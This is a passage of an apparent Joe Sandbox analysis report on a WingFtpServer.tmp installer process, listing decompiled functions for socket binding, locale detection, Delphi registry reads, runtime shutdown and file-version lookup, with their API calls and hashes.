Opcode ID: 731d5b791e84ce8121d58f4c1db85c9853072a1201d5ba2c6988e0a91a40918c
Instruction ID: 0c0fb90702117eea87a37ecc13dc986228c8b6f89ba1e0c602123cc6b6eb0345
Opcode Fuzzy Hash: 731d5b791e84ce8121d58f4c1db85c9853072a1201d5ba2c6988e0a91a40918c
Instruction Fuzzy Hash: 8D916A70E002288FDB10CFA9C9857DEFFF2BF98718F188529E455AB254DB749845CB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: WingFtpServer.tmpPID: 4228, Parent PID: 6120COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	13.1%
Total number of Nodes:	306
Total number of Limit Nodes:	16

Executed Functions

Function 03BC5078 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 51
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E03BC5078(signed short _a4) {
				char _v404;
				signed int _v416;
				signed int _v418;
				char _v420;
				char* _t7;
				signed int _t8;
				char* _t9;
				void* _t12;
				char* _t13;

				_t7 =  &_v404;
				_push(_t7);
				_push(0x202); // executed
				L03ACF7D8(); // executed
				if(_t7 == 0) {
					_push(6);
					_push(1);
					_push(2); // executed
					L03ACF7D0(); // executed
					_t13 = _t7;
					if(_t13 != 0xffffffff) {
						_v420 = 2;
						_t8 = _a4 & 0x0000ffff;
						_push(_t8);
						L03ACF7C0();
						_v418 = _t8;
						_push("0.0.0.0");
						L03ACF7C8();
						_v416 = _t8;
						_push(0x10);
						_t9 =  &_v420;
						_push(_t9);
						_push(_t13); // executed
						L03ACF7B0(); // executed
						if(_t9 + 1 != 0) {
							_t12 = 1;
						} else {
							_t12 = 0;
						}
						_push(_t13);
						L03ACF7B8();
						L03ACF7E0();
					} else {
						L03ACF7E0();
						_t12 = 0;
					}
				} else {
					L03ACF7E0();
					_t12 = 0;
				}
				return _t12;
			}

0x03bc5083
0x03bc5089
0x03bc508a
0x03bc508f
0x03bc5096
0x03bc50a1
0x03bc50a3
0x03bc50a5
0x03bc50a7
0x03bc50ac
0x03bc50b1
0x03bc50bc
0x03bc50c5
0x03bc50c9
0x03bc50ca
0x03bc50cf
0x03bc50d6
0x03bc50db
0x03bc50e0
0x03bc50e6
0x03bc50e8
0x03bc50ee
0x03bc50ef
0x03bc50f0
0x03bc50f6
0x03bc50fc
0x03bc50f8
0x03bc50f8
0x03bc50f8
0x03bc50fe
0x03bc50ff
0x03bc5104
0x03bc50b3
0x03bc50b3
0x03bc50b8
0x03bc50b8
0x03bc5098
0x03bc5098
0x03bc509d
0x03bc509d
0x03bc5110

APIs

WSAStartup.WSOCK32(00000202,?), ref: 03BC508F
WSACleanup.WSOCK32(00000202,?), ref: 03BC5098
socket.WSOCK32(00000002,00000001,00000006,00000202,?), ref: 03BC50A7
WSACleanup.WSOCK32(00000002,00000001,00000006,00000202,?), ref: 03BC50B3

Strings

0.0.0.0, xrefs: 03BC50D6

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Cleanup$Startupsocket
String ID: 0.0.0.0
API String ID: 3412503511-3771769585
Opcode ID: 9ff846075db4e42e4b64825657a59ce86cfd3611c3b8849550859a423431b274
Instruction ID: 72e5bc20aeb67a1bd4b964cbcef1a938c3b1986e2538a8b911f8160254c57c8c
Opcode Fuzzy Hash: 9ff846075db4e42e4b64825657a59ce86cfd3611c3b8849550859a423431b274
Instruction Fuzzy Hash: 6A0184397313A85CD630F7A55D8AAFE619E9F03754F0001FFEA54DE281D6A1594087E2

Uniqueness

Uniqueness Score: -1.00%

Function 03AAD584 Relevance: 3.1, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E03AAD584(char __eax, void* __ebx, intOrPtr* __edx, void* __eflags) {
				char _v8;
				short _v12;
				void* _v16;
				char _v20;
				char _v24;
				void* _t29;
				void* _t40;
				intOrPtr* _t44;
				intOrPtr _t55;
				void* _t61;

				_push(__ebx);
				_v24 = 0;
				_v20 = 0;
				_t44 = __edx;
				_v8 = __eax;
				E03AA9D00(_v8);
				_push(_t61);
				_push(0x3aad644);
				_push( *[fs:eax]);
				 *[fs:eax] = _t61 + 0xffffffec;
				_t21 =  &_v16;
				L03AA51BC();
				GetLocaleInfoW( &_v16 & 0x0000ffff, 3, _t21, 4);
				E03AAA99C( &_v20, 4,  &_v16);
				E03AAAB4C(_t44, _v20, _v8);
				_t29 = E03AAD434( *_t44, _t44); // executed
				if(_t29 == 0) {
					_v12 = 0;
					E03AAA99C( &_v24, 4,  &_v16);
					E03AAAB4C(_t44, _v24, _v8);
					_t40 = E03AAD434( *_t44, _t44); // executed
					if(_t40 == 0) {
						E03AA9C1C(_t44);
					}
				}
				_pop(_t55);
				 *[fs:eax] = _t55;
				_push(E03AAD64B);
				E03AA9C7C( &_v24, 2);
				return E03AA9C1C( &_v8);
			}

0x03aad58a
0x03aad58d
0x03aad590
0x03aad593
0x03aad595
0x03aad59b
0x03aad5a2
0x03aad5a3
0x03aad5a8
0x03aad5ab
0x03aad5b0
0x03aad5b6
0x03aad5bf
0x03aad5cf
0x03aad5dc
0x03aad5e3
0x03aad5ea
0x03aad5ec
0x03aad5fd
0x03aad60a
0x03aad611
0x03aad618
0x03aad61c
0x03aad61c
0x03aad618
0x03aad623
0x03aad626
0x03aad629
0x03aad636
0x03aad643

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,00000004,00000000,03AAD644,?,?), ref: 03AAD5B6
GetLocaleInfoW.KERNEL32(?,00000003,?,00000004,00000000,03AAD644,?,?), ref: 03AAD5BF

Part of subcall function 03AAD434: FindFirstFileW.KERNEL32(00000000,?,00000000,03AAD492,?,?), ref: 03AAD467
Part of subcall function 03AAD434: FindClose.KERNEL32(00000000,00000000,?,00000000,03AAD492,?,?), ref: 03AAD477

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: b753c0ef7e4fde52516693467e868cd03fb365ef7f7084980bfc3b4c5f8f08c8
Instruction ID: 43b0a37e1484ca914f74b95d2d97938f4a584e0e652de98e73fb4a59845e9259
Opcode Fuzzy Hash: b753c0ef7e4fde52516693467e868cd03fb365ef7f7084980bfc3b4c5f8f08c8
Instruction Fuzzy Hash: B811A275A04B09AFDF00EF9CCA91AAEF3F9EF45300F50407AA444AB350D7745E04C665

Uniqueness

Uniqueness Score: -1.00%

Function 03AAD434 Relevance: 3.0, APIs: 2, Instructions: 33
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E03AAD434(char __eax, signed int __ebx) {
				char _v8;
				struct _WIN32_FIND_DATAW _v600;
				void* _t15;
				intOrPtr _t24;
				void* _t27;

				_push(__ebx);
				_v8 = __eax;
				E03AA9D00(_v8);
				_push(_t27);
				_push(0x3aad492);
				_push( *[fs:eax]);
				 *[fs:eax] = _t27 + 0xfffffdac;
				_t15 = FindFirstFileW(E03AAA8E4(_v8),  &_v600); // executed
				if((__ebx & 0xffffff00 | _t15 != 0xffffffff) != 0) {
					FindClose(_t15);
				}
				_pop(_t24);
				 *[fs:eax] = _t24;
				_push(E03AAD499);
				return E03AA9C1C( &_v8);
			}

0x03aad43d
0x03aad43e
0x03aad444
0x03aad44b
0x03aad44c
0x03aad451
0x03aad454
0x03aad467
0x03aad474
0x03aad477
0x03aad477
0x03aad47e
0x03aad481
0x03aad484
0x03aad491

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,03AAD492,?,?), ref: 03AAD467
FindClose.KERNEL32(00000000,00000000,?,00000000,03AAD492,?,?), ref: 03AAD477

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f066dc17f4c23b6b7cd37c802575212b843dcfd50f620f6d2b5141312eee4b0c
Instruction ID: baf9f298d6940b14c9f8775c1762333b45d9cab6c84c5321a5127a2c65563b69
Opcode Fuzzy Hash: f066dc17f4c23b6b7cd37c802575212b843dcfd50f620f6d2b5141312eee4b0c
Instruction Fuzzy Hash: 05F0BE76900F08BFCB10EB7DDE5185EB3ECFB092107A085A3A844D7650EB35AE00A514

Uniqueness

Uniqueness Score: -1.00%

Function 03AAD058 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 173
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E03AAD058(char __eax, void* __ebx, void* __ecx, void* __edx) {
				char _v8;
				char* _v12;
				void* _v16;
				int _v20;
				short _v542;
				long _t51;
				long _t85;
				long _t87;
				long _t89;
				long _t91;
				long _t93;
				void* _t97;
				intOrPtr _t106;
				intOrPtr _t108;
				void* _t112;
				void* _t113;
				intOrPtr _t114;

				_t112 = _t113;
				_t114 = _t113 + 0xfffffde4;
				_t97 = __edx;
				_v8 = __eax;
				E03AA9D00(_v8);
				_push(_t112);
				_push(0x3aad27d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t114;
				if(_v8 != 0) {
					E03AAC88C( &_v542, E03AAA8E4(_v8), 0x105);
				} else {
					GetModuleFileNameW(0,  &_v542, 0x105);
				}
				if(_v542 == 0) {
					L17:
					_pop(_t106);
					 *[fs:eax] = _t106;
					_push(E03AAD284);
					return E03AA9C1C( &_v8);
				} else {
					_v12 = 0;
					_t51 = RegOpenKeyExW(0x80000001, L"Software\\Embarcadero\\Locales", 0, 0xf0019,  &_v16); // executed
					if(_t51 == 0) {
						L10:
						_push(_t112);
						_push(0x3aad260);
						_push( *[fs:eax]);
						 *[fs:eax] = _t114;
						E03AACE68( &_v542, 0x105);
						if(RegQueryValueExW(_v16,  &_v542, 0, 0, 0,  &_v20) != 0) {
							if(RegQueryValueExW(_v16, E03AAD370, 0, 0, 0,  &_v20) == 0) {
								_v12 = E03AA6E90(_v20);
								RegQueryValueExW(_v16, E03AAD370, 0, 0, _v12,  &_v20);
								E03AAA948(_t97, _v12);
							}
						} else {
							_v12 = E03AA6E90(_v20);
							RegQueryValueExW(_v16,  &_v542, 0, 0, _v12,  &_v20);
							E03AAA948(_t97, _v12);
						}
						_pop(_t108);
						 *[fs:eax] = _t108;
						_push(E03AAD267);
						if(_v12 != 0) {
							E03AA6EAC(_v12);
						}
						return RegCloseKey(_v16);
					} else {
						_t85 = RegOpenKeyExW(0x80000002, L"Software\\Embarcadero\\Locales", 0, 0xf0019,  &_v16); // executed
						if(_t85 == 0) {
							goto L10;
						} else {
							_t87 = RegOpenKeyExW(0x80000001, L"Software\\CodeGear\\Locales", 0, 0xf0019,  &_v16); // executed
							if(_t87 == 0) {
								goto L10;
							} else {
								_t89 = RegOpenKeyExW(0x80000002, L"Software\\CodeGear\\Locales", 0, 0xf0019,  &_v16); // executed
								if(_t89 == 0) {
									goto L10;
								} else {
									_t91 = RegOpenKeyExW(0x80000001, L"Software\\Borland\\Locales", 0, 0xf0019,  &_v16); // executed
									if(_t91 == 0) {
										goto L10;
									} else {
										_t93 = RegOpenKeyExW(0x80000001, L"Software\\Borland\\Delphi\\Locales", 0, 0xf0019,  &_v16); // executed
										if(_t93 != 0) {
											goto L17;
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				}
			}

0x03aad059
0x03aad05b
0x03aad062
0x03aad064
0x03aad06a
0x03aad071
0x03aad072
0x03aad077
0x03aad07a
0x03aad081
0x03aad0ad
0x03aad083
0x03aad091
0x03aad091
0x03aad0ba
0x03aad267
0x03aad269
0x03aad26c
0x03aad26f
0x03aad27c
0x03aad0c0
0x03aad0c2
0x03aad0da
0x03aad0e1
0x03aad181
0x03aad183
0x03aad184
0x03aad189
0x03aad18c
0x03aad19a
0x03aad1bb
0x03aad20a
0x03aad214
0x03aad22c
0x03aad236
0x03aad236
0x03aad1bd
0x03aad1c5
0x03aad1df
0x03aad1e9
0x03aad1e9
0x03aad23d
0x03aad240
0x03aad243
0x03aad24c
0x03aad251
0x03aad251
0x03aad25f
0x03aad0e7
0x03aad0fc
0x03aad103
0x00000000
0x03aad105
0x03aad11a
0x03aad121
0x00000000
0x03aad123
0x03aad138
0x03aad13f
0x00000000
0x03aad141
0x03aad156
0x03aad15d
0x00000000
0x03aad15f
0x03aad174
0x03aad17b
0x00000000
0x00000000
0x00000000
0x00000000
0x03aad17b
0x03aad15d
0x03aad13f
0x03aad121
0x03aad103
0x03aad0e1

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,03AAD27D,?,?), ref: 03AAD091
RegOpenKeyExW.ADVAPI32(80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,03AAD27D,?,?), ref: 03AAD0DA
RegOpenKeyExW.ADVAPI32(80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,03AAD27D,?,?), ref: 03AAD0FC
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000), ref: 03AAD11A
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001), ref: 03AAD138
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002), ref: 03AAD156
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 03AAD174
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,03AAD260,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,03AAD27D), ref: 03AAD1B4
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,03AAD260,?,80000001), ref: 03AAD1DF
RegCloseKey.ADVAPI32(?,03AAD267,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,03AAD260,?,80000001,Software\Embarcadero\Locales), ref: 03AAD25A

Strings

Software\CodeGear\Locales, xrefs: 03AAD110, 03AAD12E
Software\Embarcadero\Locales, xrefs: 03AAD0D0, 03AAD0F2
Software\Borland\Delphi\Locales, xrefs: 03AAD16A
Software\Borland\Locales, xrefs: 03AAD14C

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: 831cb3941e19f01167091ab5fca725c3754e336d0fcbcc629f6a08be283080b5
Instruction ID: 5ea4909a0cb9d43b9371f2c065c845e66484b708a93f3967f84884b1dd35358f
Opcode Fuzzy Hash: 831cb3941e19f01167091ab5fca725c3754e336d0fcbcc629f6a08be283080b5
Instruction Fuzzy Hash: F851117BA80B08BEEB14DB9CCD51FAEB3BCEB09700F504066B654FB681D7709A44C655

Uniqueness

Uniqueness Score: -1.00%

Function 03AA9600 Relevance: 6.2, APIs: 4, Instructions: 159
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E03AA9600(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				void* _t40;
				intOrPtr* _t42;
				char _t48;
				signed int _t49;
				signed int _t50;
				void* _t59;
				void* _t62;
				intOrPtr _t70;
				intOrPtr* _t72;
				void* _t83;
				void* _t89;
				intOrPtr _t96;
				intOrPtr* _t97;
				intOrPtr* _t98;
				void* _t99;
				intOrPtr _t102;
				struct HINSTANCE__* _t104;
				void* _t109;
				void* _t115;
				intOrPtr _t118;
				void* _t119;
				void* _t120;

				_t102 = __edx;
				_t89 = 0x3bd5b9c;
				if( *(_t118 + 0xc) >= 2) {
					_t89 = 0x3bd5bcc;
				}
				_t115 = _t89;
				_t40 = memcpy(_t118 - 0x40, _t115, 0xc << 2);
				_t120 = _t119 + 0xc;
				_t109 = _t115 + 0x18;
				_pop( *_t4);
				_pop( *_t5);
				_pop( *_t6);
				 *((intOrPtr*)(_t89 + 0x14)) = _t118;
				 *(_t89 + 8) = _t40;
				 *((intOrPtr*)(_t89 + 0x10)) = _t102;
				 *_t89 = _t118 - 0x40;
				 *((intOrPtr*)(_t89 + 0x2c)) = GetCurrentThreadId();
				_t12 = _t89 + 8; // 0x0
				_t42 =  *_t12;
				_t96 = 0;
				if( *(_t118 + 0xc) == 0) {
					_t96 =  *_t42;
				}
				 *((intOrPtr*)(_t89 + 0xc)) = _t96;
				 *0x3bd301c = 0x3aa513c;
				 *0x3bd3020 = 0x3aa5144;
				E03AA94E4(_t89);
				_t48 =  *(_t118 + 0xc) + 1;
				 *((char*)(_t89 + 0x28)) = _t48;
				_t49 = _t48 - 1;
				_pop(_t97);
				 *((intOrPtr*)(_t89 + 0x24)) =  *_t97;
				if(_t49 != 0 && _t49 < 3) {
					 *((intOrPtr*)(_t97 + _t49 * 4))();
				}
				_push(_t97);
				_t98 =  *((intOrPtr*)(_t120 + 8));
				if(_t98 != 0) {
					 *_t98();
				}
				_pop(_t99);
				_t50 =  *(_t118 + 0xc);
				if(_t50 >= 3) {
					 *((intOrPtr*)(_t99 + _t50 * 4))();
				}
				if( *0x3bd3040 == 0) {
					 *0x3bd3048 = 1;
					asm("fnstcw word [0x3bce024]");
				}
				if( *(_t118 + 0xc) != 1) {
					_push(_t89);
					_push(_t115);
					_push(_t109);
					if( *0x3bce004 != 0) {
						E03AA982C();
						E03AA98B4(_t99);
						 *0x3bce004 = 0;
					}
					if( *0x3bd5bd0 != 0 && GetCurrentThreadId() ==  *0x3bd5bf8) {
						E03AA9504(0x3bd5bcc);
						E03AA9888(0x3bd5bcc);
					}
					if( *0x03BD5BC4 != 0 ||  *0x3bd3058 == 0) {
						L23:
						if( *((char*)(0x3bd5bc4)) == 2 &&  *0x3bce000 == 0) {
							 *0x03BD5BA8 = 0;
						}
						if( *((char*)(0x3bd5bc4)) != 0) {
							L29:
							E03AA952C();
							if( *((char*)(0x3bd5bc4)) <= 1 ||  *0x3bce000 != 0) {
								_t54 =  *0x03BD5BAC;
								if( *0x03BD5BAC != 0) {
									E03AAD978(_t54);
									_t70 =  *((intOrPtr*)(0x3bd5bac));
									_t104 =  *(_t70 + 0x10);
									if(_t104 !=  *((intOrPtr*)(_t70 + 4)) && _t104 != 0) {
										FreeLibrary(_t104);
									}
								}
							}
							E03AA9504(0x3bd5b9c);
							if( *((char*)(0x3bd5bc4)) == 1) {
								 *0x03BD5BC0();
							}
							if( *((char*)(0x3bd5bc4)) != 0) {
								E03AA9888(0x3bd5b9c);
							}
							if( *0x3bd5b9c == 0) {
								if( *0x3bd3038 != 0) {
									 *0x3bd3038();
								}
								ExitProcess( *0x3bce000);
							}
							memcpy(0x3bd5b9c,  *0x3bd5b9c, 0xc << 2);
							_t120 = _t120 + 0xc;
							0x3bce000 = 0x3bce000;
							0x3bd5b9c = 0x3bd5b9c;
							goto L23;
						} else {
							_t59 = E03AA6F54();
							_t90 = _t59;
							if(_t59 == 0) {
								goto L29;
							} else {
								goto L28;
							}
							do {
								L28:
								E03AA7C70(_t90);
								_t62 = E03AA6F54();
								_t90 = _t62;
							} while (_t62 != 0);
							goto L29;
						}
					} else {
						do {
							_t72 =  *0x3bd3058; // 0x0
							 *0x3bd3058 = 0;
							 *_t72();
						} while ( *0x3bd3058 != 0);
						L23:
						while(1) {
						}
					}
				} else {
					_t83 = E03AA9594(); // executed
					return _t83;
				}
			}

0x03aa9600
0x03aa9604
0x03aa960d
0x03aa960f
0x03aa960f
0x03aa9614
0x03aa961e
0x03aa961e
0x03aa961e
0x03aa9620
0x03aa9623
0x03aa9626
0x03aa9629
0x03aa962c
0x03aa962f
0x03aa9635
0x03aa963c
0x03aa963f
0x03aa963f
0x03aa9642
0x03aa9648
0x03aa964a
0x03aa964a
0x03aa964c
0x03aa9654
0x03aa965e
0x03aa9665
0x03aa966d
0x03aa966e
0x03aa9671
0x03aa9672
0x03aa9675
0x03aa9678
0x03aa967e
0x03aa967e
0x03aa9681
0x03aa9682
0x03aa9688
0x03aa9690
0x03aa9690
0x03aa9692
0x03aa9693
0x03aa9698
0x03aa969a
0x03aa969a
0x03aa96a4
0x03aa96a6
0x03aa96ad
0x03aa96ad
0x03aa96b7
0x03aa994c
0x03aa994d
0x03aa994e
0x03aa9960
0x03aa9962
0x03aa9967
0x03aa996e
0x03aa996e
0x03aa997a
0x03aa998e
0x03aa9998
0x03aa9998
0x03aa99a1
0x03aa99c5
0x03aa99c9
0x03aa99d2
0x03aa99d2
0x03aa99d9
0x03aa99f8
0x03aa99f8
0x03aa9a01
0x03aa9a08
0x03aa9a0d
0x03aa9a0f
0x03aa9a14
0x03aa9a17
0x03aa9a1d
0x03aa9a24
0x03aa9a24
0x03aa9a1d
0x03aa9a0d
0x03aa9a2b
0x03aa9a34
0x03aa9a36
0x03aa9a36
0x03aa9a3d
0x03aa9a41
0x03aa9a41
0x03aa9a49
0x03aa9a52
0x03aa9a54
0x03aa9a54
0x03aa9a5d
0x03aa9a5d
0x03aa9a6f
0x03aa9a6f
0x03aa9a71
0x03aa9a72
0x00000000
0x03aa99db
0x03aa99db
0x03aa99e0
0x03aa99e4
0x00000000
0x00000000
0x00000000
0x00000000
0x03aa99e6
0x03aa99e6
0x03aa99e8
0x03aa99ed
0x03aa99f2
0x03aa99f4
0x00000000
0x03aa99e6
0x03aa99ac
0x03aa99ac
0x03aa99ac
0x03aa99b5
0x03aa99ba
0x03aa99bc
0x00000000
0x03aa99c5
0x00000000
0x03aa99c5
0x03aa96bd
0x03aa96bd
0x03aa96c2
0x03aa96c2

APIs

GetCurrentThreadId.KERNEL32 ref: 03AA9637

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b4d13bab379a346c47992c00d8e4d65a572822441b0ca012b543dcbbd70bbd95
Instruction ID: f3bb5e8e17b3935228aa9282ba05eabe7b798436aab338ad68b1e64aa46bc6c7
Opcode Fuzzy Hash: b4d13bab379a346c47992c00d8e4d65a572822441b0ca012b543dcbbd70bbd95
Instruction Fuzzy Hash: 7151E37A600B489FDB20EF6CD68476BBBE4AF49314F1844AFD8498B351E734C885CB16

Uniqueness

Uniqueness Score: -1.00%

Function 03AC7D9C Relevance: 4.6, APIs: 3, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E03AC7D9C(void* __eax, void* __ebx, signed int* __ecx, signed int* __edx, void* __edi, void* __esi, signed int* _a4) {
				char _v8;
				char _v9;
				int _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _t33;
				int _t43;
				int _t64;
				intOrPtr _t72;
				intOrPtr _t74;
				signed int* _t77;
				signed int* _t79;
				void* _t81;
				void* _t82;
				intOrPtr _t83;

				_t81 = _t82;
				_t83 = _t82 + 0xffffffe8;
				_v8 = 0;
				_t77 = __ecx;
				_t79 = __edx;
				_push(_t81);
				_push(0x3ac7e9c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				_v9 = 0;
				E03AAA044( &_v8, __eax);
				E03AAA1A4( &_v8);
				_t33 = GetFileVersionInfoSizeW(E03AAA8E4(_v8),  &_v16); // executed
				_t64 = _t33;
				if(_t64 == 0) {
					_pop(_t72);
					 *[fs:eax] = _t72;
					_push(0x3ac7ea3);
					return E03AA9C1C( &_v8);
				} else {
					_v20 = E03AA6E90(_t64);
					_push(_t81);
					_push(0x3ac7e7f);
					_push( *[fs:edx]);
					 *[fs:edx] = _t83;
